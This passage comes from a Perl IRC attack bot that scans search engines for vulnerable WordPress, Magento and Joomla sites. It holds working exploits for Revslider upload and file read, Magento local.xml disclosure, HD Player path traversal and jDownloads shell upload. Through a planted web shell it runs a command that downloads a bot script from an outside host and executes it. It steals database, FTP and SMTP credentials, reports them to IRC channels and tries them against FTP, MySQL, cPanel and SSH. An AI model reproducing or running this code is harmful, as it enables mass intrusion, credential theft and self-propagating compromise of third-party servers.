=~ /define\('DB_PASSWORD', '(.*)'\);/) { $pass = $1; } if ($check =~ /define\('DB_NAME', '(.*)'\);/) { $dbname = $1; } if ($host =~ /127.0.0.1/) { $host = $cekftp} if ($host =~ /localhost/i) { $host = $cekftp} &msg("$chanxxx","$revlogo $engine 3 Site : $site Database 14Host:3 $host 14| 4User:3 $user 14| 6Pass:10 $pass ");sleep(2); &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo);sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); if ($user =~ /_/) { @userz = split(/_/,$user); $user = $userz[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo);sleep(2) #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); # &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } if ($dbname =~ /_/) { @userz = split(/_/,$dbname); $user = $userz[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$wplogo);sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$wplogo);sleep(2); my $shell = "http://".$site."wp-content/plugins/revslider/temp/update_extract/revslider/racrew.php"; my $aplod = LWP::UserAgent->new; my $res = $aplod->post($target, Cookie => "", Content_Type => "form-data", Content => [action => "revslider_ajax_action", client_action => "update_plugin", update_file => ["revslider.zip"]]); sleep(2); my $hasil = $res->as_string; if ($hasil =~ /Wrong update extracted folder/) { my $check = &get_content($shell."?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); if ($check =~ /GIF89/){ my ($safe,$os,$uid); if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} #&msg("$admin","$wplogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); #&msg("$nick","$wplogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$chanxxx","$wplogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$chan","$wplogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); #&msg("$chan","$wplogo4Send1 8Target 9TO 13$nick Crot4<9= (SafeMode=$safe) (OS=$os) uid=$uid 4>"); } } } my $test = "http://".$site."wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php"; my $re = &get_content($test); if ($re =~ /http:\/\//){ &upload($site,$dork,$chan,$engine,$revlogo,$nick); sleep(2); } } exit; } } } } #############simple_exploit##################### sub upload() { my $url = $_[0]; my $dork = $_[1]; my $chan = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $nick = $_[5]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $vuln = "http://".$url."wp-admin/admin-ajax.php"; my $update_file = "revslider.zip"; my $manual = "http://".$url."wp-content/plugins/revslider/temp/update_extract/revslider.zip;unzip revslider.zip"; my $shell = "http://".$url."wp-content/plugins/revslider/temp/update_extract/revslider/racrew.php"; my $uan = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 }); $uan->timeout(10); $uan->agent($useragent); my $status = $uan->get("$vuln"); my $exploit = $uan->post("$vuln", Cookie => "", Content_Type => "form-data", Content => [action => "$action", client_action => "update_plugin", update_file => ["$update_file"]]); if ($exploit->decoded_content =~ /Wrong update extracted folder/) { &msg("$chan","$logo(7@2$engine14) 14Shell revslider "); my $unzip = &get_content($manual); sub rndstr{ join'', @_[ map{ rand @_ } 1 .. shift ] } my $rndstr = rndstr(8, 1..9, 'a'..'z'); my $cmd1 = encode_base64("echo $rndstr"); my $status = $uan->get("$shell?cmd=$cmd1"); if ($status->decoded_content =~ /system\(\) has been disabled/) { &msg("$chan","$logo(7@2$engine14) 14Xploit failed: system() has been disabled");exit; }elsif ($status->decoded_content !~ /$rndstr/) { &msg("$chan","$logo(7@2$engine14) 6Xploit success: " . $status->status_line . ""); my $target = &get_content($shell); if ($target =~ /GIF89a/){ &msg("$chanxxx","$wplogo $engine 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$chan","$mglogo 13$nick dapat pahala shell dari revslider... ^_^ 4<9=".$os."4>"); &os($shell,$chan,$dork,$engine,$logo,$nick,$url); &os3($shell,$chan,$engine,$wplogo,$nick); } if ($spread == 1) { &get_content($pbots,2); } } } }exit; } } ############# magento_exploit ##################### sub magento_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$mglogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$wplogo 4$engine1513 Done15"); } if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $vuln = "http://".$site."/app/etc/local.xml"; my $html = &get_content($vuln); if ($html =~ /dbname/i) { my $serverIP =""; &msg("$chan","$mglogo $engine Exploit ");sleep(2); if ($html =~ /<host><!\[\CDATA\[(.*)\]\]\><\/host>/) {$serverIP=$1;} if ($html =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/){$user=$1;} if ($html =~ /<password><!\[CDATA\[(.*)\]\]\><\/password>/){$pass=$1;} if ($html =~ /<dbname><!\[CDATA\[(.*)\]\]\><\/dbname>/){$dbname=$1;} if ($html =~ /<frontName><!\[CDATA\[(.*)\]\]\><\/frontName>/){$logadmin=$1;} &msg("$chanxxx","$mglogo 9http://".$site." 9[+]hostname: 9".$serverIP."9 [+]username: 9".$user." 9[+]password: 9".$pass." 9[+]dbname: 9".$dbname." Login : ".$logadmin."");sleep(2); if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];} my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$admin","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(4); &msg("$chan","12[+]$mglogo4$engine 12FTP[+]Success send To Admin"); } if ($ftplog2 =~ /ftp/) { &msg("$admin","9[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(4); &msg("$chan","12[+]$mglogo4$engine 12FTP[+]Success send To Admin"); } my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo); &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo); &cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); if ($user =~ /_/) { @users = split("_",$user); $user = $users[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo); &cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } } } } exit; } } } } ########## HD Player Exploit########### sub hd_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$hdlogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$hdlogo $engine 9Done15 "); } my $target = "http://".$site.$bug; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $check = &get_content($target."?f=../../../configuration.php"); if ($check =~ /JConfig/i) { &msg("$chan","$hdlogo $engine Checking 9$engine"); my ($host,$user,$pass); $target =~ s/http:\/\///; $target =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if ($check =~ m/\$ftp_host = '(.+?)';/i){$host=$1;} if ($check =~ m/\$ftp_user= '(.+?)';/i){$users=$1;} if ($check =~ m/\$ftp_pass = '(.+?)';/i){$pass=$1;} if ($check =~ m/\$user = '(.+?)';/i){$dbuser=$1;} if ($check =~ m/\$host = '(.+?)';/i){$dbhost=$1;} if ($check =~ m/\$db = '(.+?)';/i){$dbname=$1;} if ($check =~ m/\$password = '(.+?)';/i){$dbpass=$1;} if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;} if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;} if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;} if ($check =~ m/\$smtpport = '(.+?)';/i){$smtpport=$1;} if ($host =~ /127.0.0.1/) { $host = $target} #&msg("$chanxxx","15,1 [9FTP15] [ 9http://".$site." 15] [DBHOST:".$host."DBUSER: ".$dbuser." :DBPASS: ".$dbpass." | SMTP => send to ".$admin."15");sleep(3); if ($smtpuser){ &msg("$chan2","15,1 [9SMTP15] [ 9http://".$site." 15] [ SMTP => Host : ".$smtphost.":".$smtpport." User : ".$smtpuser." Pass : ".$smtppass."15");sleep(3); } #if ($dbpass) { #&msg("$chanxxx","$hdlogo $engine $c2 15Site: 9 $site 4| 15Database: 9 $dbname 4| 15Host:9 $dbhost 4| 15User:9 $dbuser 4| 15Pass:9 $dbpass ");sleep(3); &ftp_connect($site,$host,$users,$pass,$chanxxx,$engine,$hdlogo);sleep(3); &cp_connect($site,$host,$users,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&dbi_connect($site,$dbhost,$dbuser,$dbpass,$dbname,$chanxxx,$engine,$hdlogo);sleep(3); #} #if ($dbuser =~ /_/) { # my @userz = split("_", $user); $user = $userz[0]; # &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$hdlogo);sleep(3); # } #if ($dbname =~ /_/) { # my @userz = split("_", $dbname); $user = $userz[0]; # &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$hdlogo);sleep(3); # } } } exit; } } } } ######### jDOwnload Exploit ############ sub jd_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$jdlogo); my $num = scalar(@list); if ($num > 0){ foreach my $site(@list){ $count++; if ($count == $num-1) { &msg("$chan","$jdlogo $engine 9Done15"); } my $target = "http".$site.$bug; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $aplod = LWP::UserAgent->new; my $res = $aplod-> post($target, [ 'name' => "xXx", 'mail' => 'fuckoff@fuck.off', 'catlist' => "1", 'file_upload' => ['./google.zip' => 'google.zip' => 'application/octet-stream'], 'filetitle' => "xXx", 'description' => 'id', 'send' => "1", 'senden' => "Send file", 'description' => 'XxX', 'option' => "com_jdownloads", 'view' => "upload", 'pic_upload' => ['./up.php.j' => 'up.php.j' => 'application/octet-stream'], ], 'Content-Type' => 'form-data'); my $hasil = $res->content; if ($hasil =~ /color="green"/i) { my $shell = "http".$site."images/jdownloads/screenshots/up.php.j"; my $shell1 = "http".$site."images/jdownloads/screenshots/cuk.php.j"; my $shell2 = "http".$site."images/jdownloads/screenshots/index.php.j"; my $shell3 = "http".$site."images/jdownloads/screenshots/localhost.php.j"; #&msg("$chan","$jdlogo $engine $c2 Checking 9http://$site "); my $check = &get_content($shell."?rf"); my $check = &get_content($shell1."?rf"); my $check = &get_content($shell2."?rf"); my $check = &get_content($shell3."?rf"); if ($check =~ /GIF89a/){ my ($safe,$os,$uid,$host,$user,$pass); if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); $target =~ s/http:\/\///; $target =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if ($check =~ m/\$ftp_host = '(.+?)';/i){$host=$1;} if ($check =~ m/\$ftp_user = '(.+?)';/i){$user=$1;} if ($check =~ m/\$ftp_pass = '(.+?)';/i){$pass=$1;} if ($check =~ m/\$user = '(.+?)';/i){$dbuser=$1;} if ($check =~ m/\$host = '(.+?)';/i){$dbhost=$1;} if ($check =~ m/\$db = '(.+?)';/i){$dbname=$1;} if ($check =~ m/\$password = '(.+?)';/i){$dbpass=$1;} if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;} if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;} if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;} if ($check =~ m/\$smtpport = '(.+?)';/i){$smtpport=$1;} if ($host =~ /127.0.0.1/) { $host = $target} &msg("$chanxxx","15,1 [9FTP15] [ 9http://".$site." 15] [DBHOST:".$host."DBUSER: ".$dbuser." :DBPASS: ".$dbpass." | SMTP => send to ".$admin."15");sleep(3); &msg("$admin","15,1 [9SMTP15] [ 9http://".$site." 15] [ SMTP => Host : ".$smtphost.":".$smtpport." User : ".$smtpuser." Pass : ".$smtppass."15");sleep(2); &msg("$chan","$jdlogo $engine $c2 9Database 15Host:9 $host 4| 15User:9 $user 4| 15Pass:9 $pass "); if ($user =~ /_/) { my @userz = split("_", $user); $user = $userz[0];} &ftp_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$jdlogo);sleep(3); &dbi_connect($site,$dbhost,$dbuser,$dbpass,$dbname,$chanxxx,$engine,$jdlogo);sleep(4); &cp_connect($site,$host,$users,$dbpass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$dbpass,$chanxxx,$engine,$mglogo);sleep(2); if ($dbuser =~ /_/) { my @userz = split("_", $user); $user = $userz[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo);sleep(3); &cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } if ($dbname =~ /_/) { my @userz = split("_", $dbname); $user = $userz[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo);sleep(3); &cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } # else { # &msg("$chan","15,1 [9FTP15] [ 9http://".$host." 15] [".$user." : ".$pass."15] 4Denied "); # } } if ($check =~ /T E A M 2 4 H O U R S U N K N O W N/){ my ($safe,$os,$uid,$host,$user,$pass); if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); $target =~ s/http:\/\///; $target =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if ($check =~ m/\$ftp_host = '(.+?)';/i){$host=$1;} if ($check =~ m/\$ftp_user = '(.+?)';/i){$user=$1;} if ($check =~ m/\$ftp_pass = '(.+?)';/i){$pass=$1;} if ($check =~ m/\$user = '(.+?)';/i){$dbuser=$1;} if ($check =~ m/\$host = '(.+?)';/i){$dbhost=$1;} if ($check =~ m/\$db = '(.+?)';/i){$dbname=$1;} if ($check =~ m/\$password = '(.+?)';/i){$dbpass=$1;} if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;} if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;} if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;} if ($check =~ m/\$smtpport = '(.+?)';/i){$smtpport=$1;} if ($host =~ /127.0.0.1/) { $host = $target} &msg("$chanxxx","15,1 [9FTP15] [ 9http://".$site." 15] [DBHOST:".$host."DBUSER: ".$dbuser." :DBPASS: ".$dbpass." | SMTP => send to ".$admin."15");sleep(3); &msg("$admin","15,1 [9SMTP15] [ 9http://".$site." 15] [ SMTP => Host : ".$smtphost.":".$smtpport." User : ".$smtpuser." Pass : ".$smtppass."15");sleep(2); &msg("$chan","$jdlogo $engine $c2 9Database 15Host:9 $host 4| 15User:9 $user 4| 15Pass:9 $pass "); if ($user =~ /_/) { my @userz = split("_", $user); $user = $userz[0];} &ftp_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$jdlogo);sleep(3); &dbi_connect($site,$dbhost,$dbuser,$dbpass,$dbname,$chanxxx,$engine,$jdlogo);sleep(4); &cp_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$dbpass,$chanxxx,$engine,$mglogo);sleep(2); if ($dbuser =~ /_/) { my @userz = split("_", $user); $user = $userz[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo);sleep(3); &cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } if ($dbname =~ /_/) { my @userz = split("_", $dbname); $user = $userz[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo);sleep(3); &cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } # else { # &msg("$chan","15,1 [9FTP15] [ 9http://".$host." 15] [".$user." : ".$pass."15] 4Denied "); # } } if ($check =~ /IAM - DNSNET/){ my ($safe,$os,$uid,$host,$user,$pass); if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); &msg("$admin","$jdlogo $engine $c2 9sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid "); $target =~ s/http:\/\///; $target =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/; if ($check =~ m/\$ftp_host = '(.+?)';/i){$host=$1;} if ($check =~ m/\$ftp_user = '(.+?)';/i){$user=$1;} if ($check =~ m/\$ftp_pass = '(.+?)';/i){$pass=$1;} if ($check =~ m/\$user = '(.+?)';/i){$dbuser=$1;} if ($check =~ m/\$host = '(.+?)';/i){$dbhost=$1;} if ($check =~ m/\$db = '(.+?)';/i){$dbname=$1;} if ($check =~ m/\$password = '(.+?)';/i){$dbpass=$1;} if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;} if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;} if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;} if ($check =~ m/\$smtpport = '(.+?)';/i){$smtpport=$1;} if ($host =~ /127.0.0.1/) { $host = $target} &msg("$chanxxx","15,1 [9FTP15] [ 9http://".$site." 15] [DBHOST:".$host."DBUSER: ".$dbuser." :DBPASS: ".$dbpass." | SMTP => send to ".$admin."15");sleep(3); &msg("$admin","15,1 [9SMTP15] [ 9http://".$site." 15] [ SMTP => Host : ".$smtphost.":".$smtpport." User : ".$smtpuser." Pass : ".$smtppass."15");sleep(2); &msg("$chan","$jdlogo $engine $c2 9Database 15Host:9 $host 4| 15User:9 $user 4| 15Pass:9 $pass "); if ($user =~ /_/) { my @userz = split("_", $user); $user = $userz[0];} &ftp_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$jdlogo);sleep(3); &dbi_connect($site,$dbhost,$dbuser,$dbpass,$dbname,$chanxxx,$engine,$jdlogo);sleep(4); &cp_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$dbpass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$dbpass,$chanxxx,$engine,$mglogo);sleep(2); if ($dbuser =~ /_/) { my @userz = split("_", $user); $user = $userz[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo);sleep(3); &cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } if ($dbname =~ /_/) { my @userz = split("_", $dbname); $user = $userz[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$jdlogo);sleep(3); &cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); &ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } # else { # &msg("$chan","15,1 [9FTP15] [ 9http://".$host." 15] [".$user." : ".$pass."15] 4Denied "); # } } } } exit; } } } } ##################### #sub ssh_connect { # my $url = $_[0]; # my $host = $_[1]; # my $user = $_[2]; # my $pass = $_[3]; # my $chan = $_[4]; # my $engine = $_[5]; # my $logo = $_[6]; # my $success = 1; # my $count = 0; #use Net::SSH::Perl; #use Test::SSH; # eval{ # my $ssh = Test::SSH->new($host,Debug => 0, Timeout => 10); # $success = 0 if $ssh->login($user,$pass);sleep(3); # # $ssh->quit; # if ($success == 0) { # &msg("$chan","15,1 [SSH ROOT15] 13,1 dapat SSH / ROOT Selamatt Yaaa... ^_^ ");sleep(3); # &msg("$admin","15,1 $engine [SSH ROOT15] 4 ".$url." | 7 ".$user." : ".$pass." ");sleep(3); # } # } #} #sub ssh_connect2 { # my $url = $_[0]; # my $host = $_[1]; # my $user = $_[2]; # my $pass = $_[3]; # my $chan = $_[4]; # my $engine = $_[5]; # my $logo = $_[6]; # my $success = 1; # my $count = 0; #use Net::SSH::Perl; #use Test::SSH; # my $ssh = Test::SSH::Perl->new($host); # $success = 0 if $ssh->login($user, $pass);sleep(3); # $ssh->quit; # if ($success == 0) { # &msg("$chan","15,1 [SSH ROOT15] 13,1 dapat SSH / ROOT Selamatt Yaaa... ^_^ ");sleep(3); # &msg("$admin","15,1 $engine [SSH ROOT15] 4 ".$url." | 7 ".$user." : ".$pass." ");sleep(3); # } # #} sub ftp_connect { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $chan = $_[4]; my $engine = $_[5]; my $logo = $_[6]; my $nick = $_[6]; my $success = 1; my $count = 0; use Net::FTP; eval{ my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 10); $success = 0 if $ftp->login($user,$pass);sleep(3); $ftp->quit; if ($success == 0) { #&msg("$admin","15,1 [9FTP15] 4 http://".$url." |7 ".$user.":".$pass." ");sleep(3); #&msg("$chan2","15,1 $engine [9FTP15] 4 http://".$url." | 7 ".$user." : ".$pass." ");sleep(3); &msg("$admin","15,1 $engine [9FTP15] 4 http://".$url." | 7 ".$user." : ".$pass." ");sleep(3); } } } sub dbi_connect () { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $dtbs = $_[4]; my $chan = $_[5]; my $engine = $_[6]; my $logo = $_[7]; my $count = 0; my $port = "3306"; my $platform = "mysql"; my $dsn = "dbi:$platform:$dtbs:$host:$port"; eval{ my $DBIconnect= DBI->connect($dsn,$user,$pass);sleep(4); if ($DBIconnect) { &msg("$chanxxx","$logo4$engine 5,1<=>9,1SQL Accepted 5<=> 4[+]15 http://".$url." 4[+]13host:15".$host." 13username:15".$user." 4[+]13password:15".$pass." 4[+]13dbname:15".$dbname."");sleep(3); #&msg("$admin","$logo4$engine 5,1<=>9,1SQL Accepted 5<=> 4[+]15 http://".$url." 4[+]13host:15".$host." 4[+]13username:15".$user." 4[+]13password:15".$pass." 4[+]13dbname:15".$dbname."");sleep(3); } } } sub cp_connect () { my $url = $_[0]; my $host = $_[1]; my $user = $_[2]; my $pass = $_[3]; my $dtbs = $_[4]; my $chan = $_[5]; my $engine = $_[6]; my $logo = $_[7]; my $count = 0; my $port = $ports[rand(scalar(@ports))]; my @ports = ("2082","2083"); my $urls = "http://".$host.":".$port; my $test = &get_content($urls); #if ($test =~ m/<title>cPanel Login<\/title>/i ){ if ($test =~ /1/ ){ &msg("$chan","15,1 [cPanel 15] 13,1 Mencoba login cpanel 7,1 $urls ");sleep(3); $authx = encode_base64($user.":".$pass); print $authx; my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host"; print $sock "GET / HTTP/1.1\n"; print $sock "Authorization: Basic $authx\n"; print $sock "Connection: Close\n\n"; read $sock, $answer, 128; if ($answer =~ /Moved/) { &msg("$chan","15,1 [cPanel 15] 7,1 cPanel berhasil ditelanjangin ^_^ ");sleep(2); &msg("$admin","15,1 [cPanel 15] 13,1 $host/cpanel / $urls 7,1 $user : $pass ");sleep(2); exit(); } } } ################################################################################## sub search_engine() { my (@total,@clean); my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $count = 0; if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); } if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); } if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); } if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); } if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); } if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); } if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); } if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); } if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); } if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); } if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); } if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); } if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); } if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); } if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); } if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); } if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); } if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); } if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); } if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); } if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); } if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); } if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); } if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); } if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); } if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); } if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); } if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); } if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); 